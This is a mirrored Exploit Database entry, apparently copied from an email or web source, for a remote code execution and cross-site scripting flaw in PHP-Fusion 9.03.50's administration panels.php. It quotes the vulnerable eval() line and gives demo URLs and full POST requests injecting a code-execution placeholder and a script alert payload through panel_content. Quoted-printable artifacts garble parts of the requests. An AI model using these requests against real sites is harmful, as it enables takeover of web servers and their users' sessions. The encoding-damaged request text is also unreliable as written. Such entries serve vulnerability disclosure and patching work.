PHP-Fusion 9.03.50 – ‘panels.php’ Remote Code Execution

• Exploit Database
• 116 阅读

• 作者： Unkn0wn
  日期： 2020-04-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48278/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61

  # Exploit Title: PHP-Fusion 9.03.50 - 'panels.php' Multiple vulnerability # Google Dork: N/A=20 # Date: 2020-04-01 # Exploit Author: Unkn0wn # Vendor Homepage: https://www.php-fusion.co.uk # Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php # Version: 9.03.50 # Tested on: Ubuntu # CVE : N/A --------------------------------------------------------- Code Execution: This vulnerabilty in "add_panel_form()" function. in line 527 we can see "eval" tag: * eval("?>".stripslashes($_POST['panel_content'])."<?php "); * and to this funcation in line 528 - 530 return us payload: * $eval =3D ob_get_contents(); ob_end_clean(); echo $eval; =09=09=09=09=09 * Demo: http://localhost/PHP-Fusion/files/administration/panels.php?aid=3Dae28e84e2= 2e900fb&section=3Dpanelform&action=3Dedit&panel_id=3D4   POST DATA: fusion_token=3D1-1585668386-30dc735031f57e89268287bb176e78b092e156dd32a583c= f191c7dd30c2d99e9&form_id=3Dpanel_form&fusion_PmbaJ2=3D&panel_id=3D4&panel_= name=3DWelcome Message&panel_filename=3Dnone&panel_side=3D2&panel_restricti= on=3D2&panel_url_list=3D&panel_display=3D0&panel_content-insertimage=3D&pan= el_content=3D;"Code Execution Payload"&panel_access=3D0&panel_languages[]= =3DEnglish&panel_save=3DPreview Panel ----------------------------   Cross site-scripting: In line 532with POST DATA prin"t panel_content: " echo "<p>".nl2br(parse_textarea($_POST['panel_content'], FALSE, FALSE))."</= p>\n"; "   Demo: http://localhost/PHP-Fusion/files/administration/panels.php?aid=3Dae28e84e2= 2e900fb&section=3Dpanelform&action=3Dedit&panel_id=3D4   POST DATA: fusion_token=3D1-1585668386-30dc735031f57e89268287bb176e78b092e156dd32a583c= f191c7dd30c2d99e9&form_id=3Dpanel_form&fusion_PmbaJ2=3D&panel_id=3D4&panel_= name=3DWelcome Message&panel_filename=3Dnone&panel_side=3D2&panel_restricti= on=3D2&panel_url_list=3D&panel_display=3D0&panel_content-insertimage=3D&pan= el_content=3D;"<script>alert('Unkn0wn')</script>"&panel_access=3D0&panel_la= nguages[]=3DEnglish&panel_save=3DPreview Panel   ---------------------------------------------------------- # Contact : 0x9a@tuta.io # Visit: https://t.me/l314XK205E # @ 2010 - 2020 # Underground Researcher